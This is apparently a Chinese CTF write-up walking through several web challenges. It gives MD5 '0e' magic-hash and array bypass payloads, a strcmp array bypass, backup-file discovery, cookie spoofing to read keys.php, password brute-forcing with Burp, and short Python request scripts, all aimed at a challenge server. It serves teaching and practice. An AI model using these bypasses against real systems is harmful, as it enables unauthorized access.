前言:之前没有总结完,这次继续总结!
输入密码查看flag
观察到爆破而且密码是五位数字,那就用burp
来爆破
设置payload:
爆破出来了,提交即可得出flag
点击一百万次
提示是JS,查看一下源代码,发现
虽然不太懂JS代码,但是还是可以理解这个代码大意,变量clicks
通过点击来自增。但是这里变量也可以通过POST进行传递,那就直接给变量传一个10000000
.
备份是个好习惯
发现是MD5加密后的值,而且两段相同,解密一下
空密码,看来解题思路应该错了,重新查看题目发现这道题与备份有关,常见的PHP备份后缀名有.php.bak
等
输入http://123.206.87.240:8002/web16/index.php.bak
发现
当然了,这次是运气好,是index.php
,如果遇到其他名字的话就用御剑来把隐藏的目录都给扫出来即可。
就一个目录,那备份肯定就是index.php.bak
,接下来就来查看下载的文件
$str = strstr($_SERVER['REQUEST_URI'], '?');
strstr
函数将URL?
后的值(包括?)一起赋给变量str
$str = substr($str,1);
去除?
$str = str_replace('key','',$str);
如果变量str
中存在key,则替换掉
最核心的代码就是这一段代码
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
两个变量的MD5值需相同,但是变量不能够相同,才可以得出flag,这点涉及到了MD5的绕过
md5加密之后以0e开头的,值都为0,那是因为0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。
常见的0e
开头:
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
既然知道了如何绕过,那就来构造语句,但是要注意前面将key
这个关键字给过滤掉了,所以采用错位
的方法构造payload:
?kekeyy1=QNKCDZO&kekeyy2=s214587387a
得出flag
除此之外,看了大师傅们的博客,发现绕过MD5的方法还可以利用数组
md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
所以构造payload:
http://123.206.87.240:8002/web16/?kekeyy1[]=aa&kekeyy2[]=bb
//值可以随便填写
得出flag
成绩单
明显的回显注入,判断闭合符号是单引号,省略符号是#
,这道题也没有过滤关键字什么的,按照通用的语句来做即可,这里就不阐述了。
速度要快
查看源码发现
需要一个带margin属性的post请求,除此之外应该还有其他线索,用burp进行抓包,发现请求头中隐藏有flag,base64解码提交确不正确,搞了好久才发现原来每go一次,flag便变化一次
看了大师傅的write up,需要py脚本来解决,自己还写不出来就参考大师傅的脚本
import requests
import base64
url = 'http://123.206.87.240:8002/web6/'
req = requests.session()
res = req.get(url)
#获取请求头中的flag
flag = res.headers['flag']
#对flag进行base64解码 --- 得到的是bytes类型
flag = base64.b64decode(flag)
#把bytes类型转换成str类型 https://blog.csdn.net/lanchunhui/article/details/72681978
flag = bytes.decode(flag)
#split函数要用str类型的,所以才进行转化
#截取字符串后面的flag字段
flag = flag[flag.index(':') + 0:]
#index() 函数用于从列表中找出某个值第一个匹配项的索引位置。
#然后再对其进行base64解码
flag = base64.b64decode(flag)
#根据题目提示 now you have to post the margin what you find --- 需要根据margin属性进行post请求提交
#构造data,另margin属性为爆破出来的txt
data = {'margin': flag}
#通过会话的post请求,传递data
rs = req.post(url, data)
#获取页面内容
key = rs.content
#转成str格式
key = bytes.decode(key)
print(key)
cookies欺骗
一开始做这道题很懵,后来发现url上a2V5cy50eHQ=
是base64编码,解码查看
解码得到keys.txt
,说明当前访问的是keys.txt
文件,那按照这样的格式把index.php
也转换成base64编码格式查看源码。
发现改变line的值会出现一段PHP语句,写一个简单的脚本把所有的代码跑出来
import requests
a=20
for i in range(a):
url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s=requests.get(url)
print (s.text)
结果:
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
审计代码,发现有一段代码特殊
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
再结合题目,cookies欺骗,抓包修改参数即可访问keys.php
,不过这里keys.php
需要转化成base64的格式。
前女友(SKCTF)
这个链接是可以点开的,一开始没注意到,在抓包过程中才发现
一段PHP代码,考察MD5漏洞的,但是和之前的题中有一点不同,这道题还考察了strcmp
函数的漏洞
strcmp(str1,str2)比较两个字符串,如果相等就返回0。
在php 5.2版本之前,利用strcmp函数将数组与字符串进行比较会返回-1,但是从5.3开始,会返回0
所以利用这个漏洞构造payload:
?v1=s214587387a&v2=s878926199a&v3[]=1
或都用数组来绕过,payload:
?v1[]=1&v2[]=2&v3[]=1
得出flag
这次就先总结到这里。